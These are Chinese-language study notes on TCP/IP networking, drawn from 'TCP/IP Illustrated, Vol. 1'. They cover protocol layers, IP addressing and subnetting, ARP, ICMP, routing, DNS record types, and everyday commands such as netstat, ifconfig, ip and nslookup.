应用层 → OSI 765 Linux 应用命令测试 传输层 → OSI 4 TCP,UDP 协议分析 四层交换机/四层路由器 网络层 → OSI 3 检查 IP 地址,路由器设置 路由器/三层交换机 数据链路层 → OSI 2 ARP 地址检测 网桥/二层交换机 网卡 物理层 → OSI 1 物理连接检测 中继器/集线器/双绞线

TCP/IP 详解 卷 1 : 协议

引言:

TCP/IP 协议 使得各种型号各种操作系统的电脑能互相通信. 这很神奇.

TCP、UDP 两种最著名的运输层协议,两者都使用 IP 作为网络层协议 !! 网络协议 通常分不同层次进行开发,每一层负责不同的功能.

TCP/IP 分四层 : 链路层、网络层、传输层 、应用层

网络层 : IP 提供点到点的服务 传输层 : TCP/UDP 端到端的服务

**链路层: ARP、RARP、硬件接口 *处理与电缆(网线)的物理接口细节. 也就是网卡驱动程序

ARP 地址解析协议 RARP 逆地址解析协议

*网络层: IP、ICMP、IGMP  处理网络中的活动

IP 网际协议 ICMP 互联网控制报文协议 IGMP 互联网组管理协议

*运输层: TCP、UDP  为两台主机上的应用程序 提供端到端的通信

TCP 传输控制协议 提供高可靠性的数据通信.

把应用程序交给他的数据 分成合适的小快 交给下面的网络层 确认接收到的分组 设置发送最后确认分组的超时时钟等 由于本身就是高可靠性 因此应用层可以忽略所有的这些细节

**UDP 用户数据报文协议

把数据报的分组 从一台主机 发送到另一台主机. 并不保证数据报能到达另一端. 任何必须的可靠性 必须由应用层来提供.

应用层: 用户进程 *处理特定的应用程序细节

Telnet 远程登录 FTP 文件传输 SMTP 简单邮件传送协议 SNMP 简单网络管理协议

应用层 一般是一个用户进程 下三层 一般在 系统内核中执行. 顶层与下 三层关键区别:
顶层( 应用层) 只关心 应用程序的细节. 不关系数据在网络中的传输 下三层 对应用程序一无所知 但是 要处理所有的通信细节.

FTP 是一种 应用层协议 以太网协议 在链路层上

TCP/IP 是好多协议的组合. TCP IP 只是其中的两种而已.

网络接口层 和应用层的目的很显然

网络接口层: 处理有关通信媒体的细节 : 以太网 令牌环网 等 应用层: 处理某个特定的应用程序.

互联网 internet 就是一组 通过相同协议 互联在一起的网络.

构造互联网 最简单的方法就是 把多个网络 通过路由器进行连接.

路由器: IP Router 为不同类型的 物理网络提供连接. 以太网 令牌环网 点对点的链接 和 FFDI 光纤分布式数据接口 等等

网络层 IP 提供的是一种不可靠的服务.

互联网的目的之一 就是 在应用程序中 隐藏所有的物理细节. 应用层 不能关心 也不关心 这台电脑是在 以太网上 或者 令牌环网上

应用层: 就是 用户进程

网桥: 链路层上对网络进行连接 路由器: 网络层上对网络进行连接

互联网地址: 互联网上的每个接口 都必须有一个唯一的 IP 地址. IP 地址长度 32 bit.

IP 地址有一定的结构. 并不单纯的是一串数字.

5类 IP结构 : A B C D E

不同的互联网结构 ( 区分方法 看 IP 的第一字段数字 ) 网络号分发 : 互联网络信息中心 主机号分发 : 系统管理员

A类 0 + 网络号 7 位 + 主机号 24 位 0.0.0.0 - 127.255.255.255 B类 10 + 网络号 14 位 + 主机号 16 位 128.0.0.0 - 191.255.255.255 C类 110 + 网络号 21 位 + 主机号 8 位 192.0.0.0 - 223.255.255.255 D类 1110 + 多播组号 28 位 224.0.0.0 - 239.255.255.255 E类 11110 + 留待后用 27 位 240.0.0.0 - 247.255.255.255

三类 IP 地址:

  • 单播地址 目的为 单个主机
    • 广播地址 目的为 给定网络上的所有主机
    • 多播地址 目的为 同一组内的所有主机

域名系统: 一个分布的数据库. 提供 IP地址 和 主机名 之间的映射信息. 任何应用程序 都能调用这个标准的函数库来寻 主机名和 IP 的对应关系.

封装:

应用程序 → TCP 层 叫:TCP 报文 → IP 层 叫: IP 数据包 → 网卡层: 叫帧 Frame

每经过一层 都会再这个数据增加一些首部信息( 有可能还会加尾部信息 ) 比如 TCP 首部 IP 首部 以太网首尾部.

帧的物理特性长度 必须在 46-1500 字节 之间.

数据在网线中参数的教育 叫分组 ( Packet )

由于 TCP UDP ICMP IGMP 都要向 IP 传送数据. 所以 IP 生成的首部 要加入某种标识 表明数据属于哪一层, 这个就叫 协议域 1 是 ICMP 2 是 IGMP 6 是 TCP 17 是 UDP

类似的 很多应用程序都能用 TCP 或 UDP 来传送数据. 运输层生成报文首部时候 也有一个应用程序的标识符.

分用: 主机收到一个以太网数据帧时 数据就开始从协议 由底向上升 同时去掉各种报文首部.

编程接口: 使用 TCP、IP 协议的应用程序 通常采用两种应用编程接口API : Socket 和 TLI 运输层接口 ( Transport Layer Interface )

链路层

链路层目的:

  • IP 模块: 发送和接受 IP 数据包.
  • ARP 模块: 发送和接受 ARP 应答
  • RARP 模块: 发送和接受 RARP 应答

环回接口: Loopback Interface *允许运行在同一主机上的 客户程序和服务器程序 通过 TCP/IP 进行通信

A类 网络 127 就是给环回接口预留的. 根据惯例: 大多数系统把 127.0.0.1 分配给这个接口. 并命名为 Localhost 一个传给环回接口的 IP 数据包不能在任何网络上出现.

IP: 网际协议

*IP 是 TCP/IP 协议中最核心的协议 . *所有的 TCP、UDP、ICMP、IGMP 数据 都以 IP 数据报格式传输

不可靠: 不能保证 IP 数据报能成功抵达目的地. 如: 路由器暂时用完了缓冲区, IP 有个最简单的处理算法: 丢弃该数据报.然后发送 ICMP 消息报给信源端.

IP 数据包结构 : 一个刻度表示1个二进制位(比特)。
普通 IP 首部长 20字节

  • 版本4位 :  表示协议版本号,即常说的IPv4 ;

  • 头长4位 : 数据包头部长度。

    它表示数据包头部包括多少个32位长整型,也就是多少个4字节的数据。无选项则为5(红色部分)。

  • 服务类型8位 :  每个位的意义如下:

    1. 过程字段: 3位, 取值:0(正常)- 7(网络控制) 数据包重要性,取值越大数据越重要.
      1. 延迟字段: 1位, 取值:0(正常)、1(期待低的延迟)
      2. 流量字段: 1位, 取值:0(正常)、1(期待高的流量)
      3. 可靠性字段: 1位, 取值:0(正常)、1(期待高的可靠性)
      4. 成本字段: 1位, 取值:0(正常)、1(期待最小成本)
      5. 保留字段: 1位,未使用
  • 包裹总长16位 :  当前数据包的总长度,单位是字节。当然最大只能是65535,及64KB。

  • 重组标识16位 :  发送主机赋予的标识,以便接收方进行分片重组。

  • 标志3位 : 

    1. 保留段位(2):1位,未使用
      1. 不分段位(1):1位,取值:0(允许数据报分段)、1(数据报不能分段)
      2. 更多段位(0):1位,取值:0(数据包后面没有包,该包为最后的包)、1(数据包后面有更多的包)
  • 段偏移量13位 : 与更多段位组合,帮助接收方组合分段的报文,以字节为单位。

  • 生存时间8位 :  ping命令看到的TTL(Time To Live) 就是这个,每经过一个路由器,该值就减一,到零丢弃。

  • 协议代码8位 :  使用该包裹的上层协议,如TCP=6,ICMP=1,UDP=17

  • 头检验和16位 : 是IPv4数据包头部的校验和。

  • 源始地址32位 :  我们常看到的IP是将每个字节用点(.)分开,如此而已。
  • 目的地址32位 : 同上。

  • 可选选项 :  主要给一些特殊的情况使用,往往安全路由会当作攻击而过滤掉.
  • 用户数据

最小的延迟 : Telnet 最大吞吐量 : FTP
最高可靠性 : SNMP 网络管理 和 路由选择协议
最小费用: 用户网络新闻

TTL Time-To-Live 生存时间: 设置了 数据包 可以经过的最多路由器数! 默认32/64 每经过一个路由器,值就减去1. 值为零时. 数据包被丢弃.并发送 ICMP 报文通知源主机

IP 路由选择

IP 层在内存中有个路由表.收到一个数据包 并进行发送时 它都要对该表搜索一次.

路由表

目的 IP 地址: 下一站/下一条 路由器的 ip 地址: 标志: 指明目的 ip 地址是网络地址 还是主机地址 . 为数据包的传输指定一个网络接口.

IP 路由选择是 逐跳进行的. IP 并不知道 到达任何目的的完整路径. (除了那些与主机直接相连的)

IP 路由功能:

搜索路由表 找到能与目的 ip 地址完全匹配的表 (网络号 主机号 都要匹配)

搜索路由表 找到能与目的的网络号相匹配的表 如果找到 就把报文发送给该表木自动的下一站路由器. 以太网上的所有主机都是通过这种表目进行寻径的

搜索路由表 寻找标为默认的表.

如果上面的步骤都没有成功 那么该数据包 就不能被传送..程序会报错.

完整主机地址匹配在网络号匹配之前执行. 当他们都失败后 才选择默认路由器.

子网寻址:

现在所有的主机都要求 支持子网编地 不能把 IP 看成 由 单纯的网络号+主机号组成 而是 把主机号再分成一个子网号和主机号!!! 原因是 AB 类地址 为主机号分配了太多的空间. 可容纳的主机数 2的24次-2 和 2的16次-2
全0 和全1 是无效的 所以要减2

事实上 一个网络中人们不会安排那么多主机.

如: B 类网络 16位网络号+ 16位主机号. 这16位主机号 下面可以再分子网 比如8位用于子网号码 8位用于主机号 那么 就允许有254个子网 每个子网可以有254台主机

大多数子网 都是 B类的.其实还能用 C 类地址 只是它可用的比特数比较少而已.

很少出现 A 类地址的子网例子是因为 A 类地址本身就少. 但是大多数 A 类地址都是惊喜子网划分的.

子网 对外部路由器来说 隐藏了内部网络组织的细节.

如: b 类地址下有 1000个子网. 你要知道子网号码 数据包才能准确的送到你的网络.

子网掩码: 除了 IP地址 主机还需要 有多少 bit 用途子网号 多少 bit 用于主机号

掩码 是一个32bit 的值. → 11111111111111111111111111111111 值为1的比特 留给网络号和子网号 值为0的比特 留给主机号

B类
16位网络号 + 8为子网号 + 8位主机号 → 1111111111111111+11111111+00000000 → 也就是255.255.255.0

16位网络号 + 10位子网号 + 6位主机号 → 1111111111111111 + 1111111111 + 000000 → 也就是255.255.255.192 给定 IP 地址 和 子网掩码后: 主机就能确定 IP 数据包的目的:

  1. 子网上的主机
  2. 本网络 其他子网中的主机
  3. 其他网络上的主机

如果知道本机的 IP 地址 那么就直达它是 ABC 的哪类. 可以从 IP 的第一段取值范围看.

也就知道网络号和子网号之间的分界线. 再根据子网掩码 就能知道 子网号与主机号之间的分界线

例子:

假设 本机 IP 地址 140.252.11.1 → 可以看出是 B 类地址 16位 网络号. 子网掩码: 255.255.255.0 →除去前面 两个 255 也就是16位网络号码 还剩下255.0 可以算出 255=2的8次-1 所以 子网号码是8位 主机号也有8位.

如果目的 IP 是 140.252.4.5 可以看出B 类别网络号是相同的 ( 140.255 )

但是子网号是不同的 ( 1和4 )

如果目的 IP 是 140.255.1.22 可以看出网络号 还是一样 ( 140.255 ) 子网号也是一样 但是主机号不同

如果目的 IP 是 192.43.235.6 一个 C 类别地址. 那么网络号是不同的 其他肯定不同.

国际在线 允许一个含有子网的网络 使用多个子网掩码.

ifconfig: 这个命令一般在引导时运行.

环回接口: Lo0 一个 A 类地址.

netstat: -i 打印出接口信息 -n 打印出 IP 地址 netstat -in 看每个网卡的 IP

ARP

ARP 为 IP地址到对应的硬件地址 提供动态映射.

RARP 被那些没有磁盘驱动器的系统使用. 如无盘工作站 需要系统管理员手工设置.

ARP广播: ARP发送一份称作 ARP请求的以太网数据帧给以太网上的每个主机。 ARP请求数据帧中包含目的主机的 IP地址(主机名为 bsdi), 其意思是“如果你是这个 IP地址的拥有者,请回答你的硬件地址。

目的主机 收到这个广播,发现是找自己的 (根据 IP 地址) 于是发送一个 ARP 应答. 这个应答包里面包含自己的IP+Mac 地址.

网络接口 有硬件地址: 48 bit TCP/IP 有IP 地址: 32 bit 要参数数据. 必须要知道 硬件地址才能. 只有 ip 地址是不行的. ARP 就是 给硬件地址 和 IP 地址 提供动态映射.

ARP 高速缓存:

ARP 高效运行的关键是: 每个主机上都有一个 ARP 高速缓存. 这个缓存 存放了 最近的 ip 地址 和 Mac 地址 的映射历史记录. 每项记录的生存时间一般是20分钟. 从映射被创建开始计时.

查看 本地 ARP 缓存: arp -a -a 是显示全部的意思

ARP 格式

前两个字段: 以太网的源地址 和 目的地址

目的地址 全是1 是特殊地址: 也就是广播地址. 电缆上 所有的网卡 都要接受广播的数据帧

帧类型: 2 字节.

op 操作字段: 时钟操作类型 ARP 请求 值为1 ARP 应答 值为2 RARP 请求 值为3 RARP 应答 值为4

对于 不存在主机的 ARP 请求: 比如 主机已经关机.

ARP 高速缓存超时: arp 一般都要设置超时. 管理员 可以用 arp 命令固定 arp 而不设置超时.

ARP 代理: arp 请求是从 一个网络发送到另一个网络的. 那么 连接这两个网络的路由器 就能回答双方的 arp 请求.

这个 就是 ARP 代理 : Proxy ARP 这个功能 可以欺骗 发送端 让它误以为路由器就是主机. 事实上 目的主机在路由器的另一端

arp -d 删除某项 arp 对应.

arp -s 增加arp内容

RARP: 逆地址解析协议

有硬盘的电脑 一般是从 硬盘上的配置文件中读取 IP 地址.

无盘机,或者 无盘工作组 需要别的办法来获取 IP

每个网卡都是有唯一的硬件地址的.由网卡厂商配置的. 大概就是 开机 取得 网卡的 mac 地址. 发送一个 RARP 请求 (局域网内广播) 请求别的主机 相应这个无盘系统的 IP 地址.

ICMP: internet 控制报文协议

icmp 覆盖范围很广
从 致命差错到 信息差错.

Ping 程序

名字起源于 声呐定位操作. 目的是为了测试另一台主机是否可达.

如果不能 ping 到某台主机 那么一般不能 Telnet 或者 ftp 进去 如果不能 telnet 某台电脑 一般可以用 ping 程序来确定问题出在哪.

PIng 还能 测试到一台主机的往返时间, 以表明主机离我们多远.

通常 第一个 ping 值的 往返时间比后面的值大 是因为目的主机的硬件地址 不在 arp 高速缓存里 所以慢. 因为 要发送和接受 arp 请求

ping 程序 为我们提供了 查看 IP 记录路由 的机会. ping -R 选项.

IP 时间戳

ping 程序是对两个 TCP/IP 系统的连通性进行测试的基本工具 只利用 ICMP 回显请求和回显应答报文. 而不用经过 传输层 (TCP/UDP)

Traceroute & TTL

发 UDP 数据报给服务器. 目的端口号是一个不可能的端口. 当数据报到达服务器. 目服务器的 UDP 模块 会产生一份 端口不可达的 ICMP 报文. 就表示到达目的主机. 结束路由追踪.

流程:

  1. 本机发送TTL=1 的 IP 数据报 给目的主机. 经过第一个路由器时. TTL=0 路由器丢弃该数据报, 并返回一个 ICMP 报文. 这报文里面有第一个路由器的地址.
    1. 本机发送TTL=2 的 IP 数据报 给目的主机. 经过第二个路由器时. TTL=0 路由器丢弃该数据报, 并返回一个 ICMP 报文. 这报文里面有第二个路由器的地址.
      1. 本机发送TTL=3 的 IP 数据报 给目的主机. 经过第三个路由器时. TTL=0 路由器丢弃该数据报, 并返回一个 ICMP 报文. 这报文里面有第三个路由器的地址.
      2. 本机发送TTL=4 的 IP 数据报 给目的主机. 经过第四个路由器时. TTL=0 路由器丢弃该数据报, 并返回一个 ICMP 报文. 这报文里面有第四个路由器的地址.
      3. ………
      4. 特殊端口号的 UDP 数据报到达服务器,返回 端口不可达的 ICMP 报文.
      5. 结束

      路由器 只会在 TTL=0 时 返回一个 ICMP 数据报. Traceroute 只需区分 接受到的ICMP 报文是超时还是端口不可达.以判断什么时候结束.

IP 数据报 从一台电脑到另一台电脑 所 经过的 路由.

traceroute 程序 不需要 路由器有任何的特殊功能.

ttl : 防止数据报在选路时无休止的在网络中流动.

路由收到 ttl =0 的数据报 会丢弃该数据报.然后给信源发一份 ICMP 超时的信息.

Traceroute 必须可以给 数据报 设置 TTL 字段. 这个需要 管理员权限.

每个 路由器 发送3份数据报. 每收到一份 ICMP 报文. 就显示出往返时间. 5秒内 没有收到3份中的任意一份响应. 就打个星号. 并发送下一份数据报.

往返时间: 是往返的总时间.

IP 选路

选路是 IP 最重要的功能之一.

路由表的维护: 路由表中的信息 决定 IP 层的所有决策.

IP 搜索 路由表 步骤:

  1. 搜索匹配的主机地址
  2. 搜索匹配的网络地址
  3. 搜索 默认表项 (一般 是路由表中 一个指定的网络表项 网络号=0 )

先匹配主机地址 在匹配网络地址 .

选路机制: 搜索路由表 并决定 向哪个网络接口发送分组. 选路策略: 只 决定把哪些路由放入路由表规则

IP: 执行选路机制 路由守护程序: 提供选路策略

简单路由表: 列出路由表: netstat -r

netstat -rn

用数字格式 打印出 IP 地址

Routing tables

Internet: Destination Gateway Flags Refs Use Netif Expire default 172.19.16.1 UGSc 138 157 en5 default 172.19.16.1 UGScI 9 0 en0 127 127.0.0.1 UCS 1 0 lo0 127.0.0.1 127.0.0.1 UH 102 5031509 lo0 169.254 link#5 UCS 2 0 en5 169.254 link#4 UCSI 3 0 en0 169.254.136.96 link#4 UHLSW 1 1 en0 169.254.229.64 link#4 UHLSW 1 5 en0 169.254.255.255 link#5 UHLSW 2 22 en5 172.19.16/24 link#5 UCS 74 0 en5 172.19.16/24 link#4 UCSI 53 0 en0 172.19.16.1/32 link#5 UCS 2 0 en5 172.19.16.1 0:2:85:a:75:40 UHLWIir 10 0 en0 1199 172.19.16.1/32 link#4 UCSI 2 0 en0 172.19.16.1 0:2:85:a:75:40 UHLWIir 140 234 en5 1168 172.19.16.14 0:50:56:9e:66:dd UHLWIi 2 8169 en5 1178 172.19.16.15 0:c:29:b5:d1:ee UHLWIi 2 24097 en5 1193 172.19.16.16 f4:ce:46:b1:19:6 UHLWIi 2 6232 en5 1192

说明: 倒数第三行

如果目的是 到172.19.16.14的 那么网关就把数据发给 .14的mac 地址.

Flags 标志: 对于一个给定的路由 可以有5种不同的标志

U 该路由 可用. **G 该路由 是到一个网关的. 没有这个标志 说明目的地是直接相连的. 重要标志: 区分了是间接路由 / 直接路由 .(直接连路由是没有G 标志的)

**H 有标志该路由 是到一个主机的.目的地址是一个完整的主机地址. 没标志:说明这个路由是到一个网络. 目的地址是一个网络地址: 一个网络号 或者网络号和子网号的组合. D 该路由 是由重定向报文创建的. M 该路由 已被重定向报文修改.

Refs: 参考计数 Reference count 列出 正在使用路由的活动进程个数

Use: 通过该路由发送的分组数: 如果我们是该用户的唯一用户,那么 运行 ping 发送5个分组后 值会变成5

最后一列: 本地接口的名字.

输出的

第二行: 环回接口 名字始终是 LoO 第三行: 默认路由 每个主机都有一个或多个 默认路由. 如果表中没有找到特定的路由 那么就发送到默认路由器.

初始化路由表

一般 用 ifconfig 默认设置接口地址时候 就自动创建一个直接路由.

对于点对点链路 或者 环回接口 路由是达到主机 对于广播接口 如 以太网 : 路由是达到网络

到达主机 或者网络的路由 如果不是直接相连的. 那么必须加入 路由表.

ICMP: 当路由 收到一份 IP 数据包 但又不能转发时. 就要发送一份 ICMP 主机不可达 的 差错报文.

转发 / 不转发:

动态选路协议:

相邻的路由器 之间 进行通信, 以告知对方 每个路由器当前所连接的网络.

路由器 之间 必须采用 选路协议进行通信. 选路协议有很多种. 路由器上有个进程: 路由守护程序 (Routing daemon) 运行选路协议.于相邻的路由器进行通信.

RIP: 选路信息协议

最广泛使用/也最容易受攻击的选路协议.

UDP: 用户数据报协议

进程的每个输出操作都正好 产生一个 UDP 数据包, 并组装成一份 待发送的 IP 数据包.

应用程序 必须关心 IP 数据包的长度. 如果超过 MTU 那么就要对 IP 数据包进行分片.

IP 分片

物理网络层 一般会限制 每次发送 数据帧的最大长度.

本机的 IP 层, 接收到一份 要发送的 IP 数据包时:

  1. 判断 向本地哪个接口发送数据. (选路)
    1. 查询 该接口获得其 MTU.
      1. IP 层: 要发送的数据包长度 和 MTU 进行比较. 有需要的话就进行分片.

        可以在原始发送端 或者 路由器上 进行 分片

数据分片后 只有达到目的地 才进行组装.

UDP ARP 的交互作用:

最大 UDP 数据报 长度

单播 广播 多播

广播 & 多播 仅适用于 UDP

单播: unicast 两个主机通信不会干扰其他主机.

广播: broadcast 主机向网上的所有其他主机 发送帧.

多播: multicast 给某个组 (组里有固定的成员) 发送数据 比如 给多人发送邮件.

网卡工作流程:

  1. 查看 由信道送过来的帧
  2. 是否接受该帧 如接受: 传送帧搭配设备驱动程序. 然后驱动程序 吧帧传给下一层. 比如帧类型是 IP 数据报 那么就传到 IP 层. IP 根据 IP 地址中的 源地址 和 目的地址,进行更多的过滤检测 如果正常 就传送给下一层 如: TCP UDP

    一般网卡 仅接受 帧的Mac地址是自己的帧 & 广播地址的帧.

*混合模式 / 混杂模式  接收每个帧的一个复制. Tcpdump 就使用这种模式.

受限的广播

255.255.255.255 主机 不知道自己网段的 网络掩码. 连自己 IP 都不知道. 这样的数据 只存在本地网络中

IGMP: internet 组管理协议.

DNS 域名系统:

域名系统( D N S)是一种用于 T C P / I P应用程序的分布式数据库,它提供主机名字和 I P地 址之间的转换及有关电子邮件的选路信息。

bootp 引导程序协议

SNMP 简单网络管理协议:

网络设备很多 比如: 路由器 打印机 等等 这些设备 都是运行 TCP/IP 协议的.

管理站 可以显示 所有被管设备的状态. 例如 是否掉线 各种流量等等

Telnet & Remote Login 远程登录.

Remote Login 是最广泛的应用之一.

TCP/IP 网络 两种应用 提供远程登录功能.

Telnet 协议

可以工作在任何主机. 任何操作系统 任何终端.

FTP 文件传送协议 (TCP 协议)

常见的应用程序. 文件传输的 Internet 标准.

文件传送. 文件存取区别: 文件传送: 由 FTP 应用提供 文件存取: NFS (Sun 的网络文件系统) 等应用提供

要使用 FTP 就要有登录服务器的注册账号密码 或者 通过允许匿名 FTP .

最早是为了 两台不同的主机 运行着不同的操作系统 不同的文件结构 或许还使用不同的字符集.

工作原理:

服务器: 以被动方式 打开众所周知的 用于 FTP 的端口 (21) 等待用户的连接.

客户端: 主动打开 TCP 21端口 ,与服务器建立连接. 由于该连接 是用于文件传输目的: 所以 IP 对数据连接的特点是 : 最大限度的提高吞吐量.

匿名 FTP

允许 任何人 注册并使用 FTP 来传输文件.

SMTP 简单邮件传送协议.

电子邮件 是最流行的应用程序 所有 TCP 连接中 大约一半是 用于 简单邮件传输协议的 SMTP

网络文件系统

NFS 网络文件系统

tcpdump

和 wireshark 差不多. 没有图形界面.

Nslookup

查询DNS的记录,查看网络中的 DNS 服务器 的域名解析是否正常.

nslookup www.taobao.com Server: 172.19.16.16 // DNS 服务器. Address: 172.19.16.16#53 Non-authoritative answer: www.taobao.com canonical name = www.taobao.com.danuoyi.tbcache.com. Name: www.taobao.com.danuoyi.tbcache.com Address: 124.160.132.254 Name: www.taobao.com.danuoyi.tbcache.com Address: 140.207.232.122

正向解析

逆向解析

直接查询 返回的是 A 记录.

A记录: (address) 用来 指定主机名/域名 对应的 IP 地址记录.

  • A 地址记录
  • CNAME 别名记录 允许您将多个名字映射到同一台计算机。 通常用于同时提供WWW和MAIL服务的计算机。

例: 有一台计算机名为“host.mydomain.com”(A记录)。 它同时提供 WWW 和 MAIL服务. 为了便于用户访问服务。可以设置两个别名(CNAME):WWW 和 MAIL。

  1. www.mydomain.com
    1. mail.mydomain.com。

      实际上他们都指向“host.mydomain.com”。

  • MX 邮件服务器记录

  • NS 名字服务器记录

AAAA 地址记录 AFSDB Andrew 文件系统数据库服务器记录 ATMA ATM地址记录 HINFO 硬件配置记录,包括CPU、操作系统信息 ISDN 域名对应的ISDN号码 MB 存放指定邮箱的服务器 MG 邮件组记录 MINFO 邮件组和邮箱的信息记录 MR 改名的邮箱记录 PTR 反向记录 RP 负责人记录 RT 路由穿透记录 SRV TCP服务器信息记录 TXT 域名对应的文本信息 X25 域名对应的X.25地址记录

  1. A记录 又称IP指向,用户可以在此设置子域名并指向到自己的目标主机地址上,从而实现通过域名找到服务器。说明:·指向的目标主机地址类型只能使用IP地址;

附加说明:

           1) 泛域名解析即将该域名所有未指定的子域名都指向一个空间。在“主机名”中填入*,“类型”为A,“IP地址/主机名”中填入web服务器的IP地址,点击“新增”按钮即可。

           2) 负载均衡的实现:负载均衡(Server Load Balancing,SLB)是指在一系列资源上面动态地分布网络负载。负载均衡可以减少网络拥塞,提高整体网络性能,提高自愈性, 并确保企业关键性应用的可用性。当相同子域名有多个目标地址时,表示轮循,可以达到负载均衡的目的,但需要虚拟主机服务商支持。

 \2. CNAME 通常称别名指向。您可以为一个主机设置别名。比如设置test.mydomain.com,用来指向一个主机www.rddns.com那么以后就可以用test.mydomain.com来代替访问www.rddns.com了。 说明:·             CNAME的目标主机地址只能使用主机名,不能使用IP地址;·主机名前不能有任何其他前缀,如:http://等是不被允许的;·A记录优先于CNAME记录。即如果一个主机地址同时存在A记录和CNAME记录,则CNAME记录不生效。 

  1. MX记录 邮件交换记录。用于将以该域名为结尾的电子邮件指向对应的邮件服务器以进行处理。如:用户所用的邮件是以域名mydomain.com为结尾的,则需要在管理界面中添加该域名的MX记录来处理所有以@mydomain.com结尾的邮件。

说明:·             MX记录可以使用主机名或IP地址;·MX记录可以通过设置优先级实现主辅服务器设置,“优先级”中的数字越小表示级别越高。也可以使用相同优先级达到负载均衡的目的;·如果在“主机名”中填入子域名则此MX记录只对该子域名生效。 附加说明:          1) 负载均衡服务器负载均衡(Server Load Balancing,SLB)是指在一系列资源上面智能地分布网络负载。负载均衡可以减少网络拥塞,提高整体网络性能,提高自愈性,并确保企业关键性应用的可用性。当域名的MX记录有多个目标地址且优先级相同时,表示轮循,可以达到负载均衡的目的,但需要邮箱服务商支持。 

  1. NS记录 解析服务器记录。用来表明由哪台服务器对该域名进行解析。这里的NS记录只对子域名生效。    例如用户希望由12.34.56.78这台服务器解析news.mydomain.com,则需要设置news.mydomain.com的NS记录。    说明:·“优先级”中的数字越小表示级别越高;·“IP地址/主机名”中既可以填写IP地址,也可以填写像ns.mydomain.com这样的主机地址,但必须保证该主机地址有效。    如,将news.mydomain.com的NS记录指向到ns.mydomain.com,在设置NS记录的同时还需要设置ns.mydomain.com的指向,    否则NS记录将无法正常解析;·NS记录优先于A记录。即,如果一个主机地址同时存在NS记录和A记录,则A记录不生效。这里的NS记录只对子域名生效。

   相关说明 

   1) 负载均衡服务器负载均衡(Server Load Balancing,SLB)是指在一系列资源上面智能地分布网络负载。负载均衡可以减少网络拥塞,提高整体网络性能,提高自愈性,并确保企业关键性应用的可用性。当相同子域有多个目标地址,或域名的MX记录有多个目标地址且优先级相同时,表示轮循,可以达到负载均衡的目的,但需要虚拟主机和邮箱服务商支持。     2) TTL值TTL值全称是“生存时间(Time To Live)”,简单的说它表示DNS记录在DNS服务器上缓存时间。东方网景DNS服务器默认即时生效,客户的增加修改一般不超过15分钟可以使用。  

Netstat

显示各种网络相关信息:

网络连接, 路由表 接口状态 (Interface Statistics),masquerade 连接, 多播成员 (Multicast Memberships) 等等。

-a (all)显示所有选项,默认不显示LISTEN相关
-t (tcp)仅显示tcp相关选项
-u (udp)仅显示udp相关选项
-n 拒绝显示别名,能显示数字的全部转化成数字。
-l 仅列出有在 Listen (监听) 的服務状态 -p 显示建立相关链接的程序名
-r 显示路由信息,路由表
-e 显示扩展信息,例如uid等
-s 按各个协议进行统计
-c 每隔一个固定时间,执行该netstat命令。 提示:LISTEN和LISTENING的状态只有用-a或者-l才能看到

列出所有端口 netstat -a

列出所有 tcp 端口 netstat -at

列出所有 udp 端口 netstat -au

  1. 列出所有处于监听状态的 Sockets 只显示监听端口 netstat -l

只列出所有监听 tcp 端口 netstat -lt

只列出所有监听 udp 端口 netstat -lu

只列出所有监听 UNIX 端口 netstat -lx

  1. 显示每个协议的统计信息   显示所有端口的统计信息 netstat -s

显示 TCP 或 UDP 端口的统计信息 netstat -st 或 -su

  1. 在 netstat 输出中显示 PID 和进程名称 netstat -p netstat -p 可以与其它开关一起使用,就可以添加 “PID/进程名称” 到 netstat 输出中,这样 debugging 的时候可以很方便的发现特定端口运行的程序。

  2. 在 netstat 输出中不显示主机,端口和用户名 (host, port or user) 当你不想让主机,端口和用户名显示,使用 netstat -n。将会使用数字代替那些名称。 同样可以加速输出,因为不用进行比对查询

  3. 持续输出 netstat 信息 netstat 将每隔一秒输出网络信息

  4. 显示核心路由信息 netstat -r

  5. 找出程序运行的端口 并不是所有的进程都能找到,没有权限的会不显示,使用 root 权限查看所有的信息。

显示网络接口列表

Ipconfig / ifconfig / ip addr

获取网卡信息. 设置 IP & 掩码 & 广播 & MAC地址 & 激活/禁用网卡 …… 用 ifconfig 配置的信息.网卡重启之后就不存在了. 要永久保存 只能修改网卡配置文件

Mac: ifconfig Win: ipconfig Linux:ip addr

Linux 网卡命名规则:

  1. eth0 第一块网卡
    1. eth1 第二块网卡
      1. Lo 环回接口. 127.0.0.1

    ifconfig //显示所有网卡信息. lo0 en0 en1

    ifconfig en5 //显示 en5 单块网卡信息

有线网卡 en5: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 // UP:网卡开启 Running:网线已连接 Multicast:支持组播 mtu:最大传输单元 options=10b<RXCSUM,TXCSUM,VLAN_HWTAGGING,AV> ether ac:87:a3:02:06:da inet6 fe80::ae87:a3ff:fe02:6da%en5 prefixlen 64 scopeid 0xb inet 172.19.16.188 netmask 0xffffff00 broadcast 172.19.16.255

nd6 options=1 media: autoselect (1000baseT <full-duplex,flow-control>) status: active

无线网卡 en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 ether 3c:15:c2:d6:0e:fa inet6 fe80::3e15:c2ff:fed6:efa%en0 prefixlen 64 scopeid 0x4 inet 172.19.16.68 netmask 0xffffff00 broadcast 172.19.16.255 nd6 options=1 media: autoselect status: active

IP & Mask

Display TCP & IP 属性:

  • IP → Liunx 新版本
  • IPCONFIG → Windows
  • IFCONFIG → Linux 老版本

ipconfig:

ipconfig ?         // 显示 帮助消息. 列出所有用法.

ipconfig /all     // 显示完整配置信息

ipconfig /release  // 归还 ip 地址给 DHCP 服务器.  也就断网!!  要重新启用网卡.
ipconfig /renew    // 更新所有适配器... 也就是重启网卡?

ifconfig

  • 查看所有网卡 ifconfig // 比如 lo0 en0 en1 en2
  • 查看特定网卡 ifconfig en0 //所有网卡里面选个名字就行.

  • 激活网卡: sudo ifconfig wlan0 up / down //相当于 windows 的 启用/禁用

IP

  • 查询 ip :
    addr 查看ip 信息

  • 加/删 ip :
    sudo ip addr add 192.168.0.193/24 dev wlan0

  • 查看固定网卡 ip :
    ip addr show wlan0

  • 查看路由器:
    ip route show

查看 一个ip的路由包 从哪里来的 ip route get 58.217.200.13 (百度的ip)

Misc

网络接口类型:

lo 本地回环接口

eth(0-9) 以太网接口

pppx 点对点 接口


IP - Internal Protocol

网络协议

ip addr

网卡信息

ip link show

启用网卡:

ip link set wlp3s0 up

查看无线网卡IP/Mac信息

iw dev

扫描 wifi

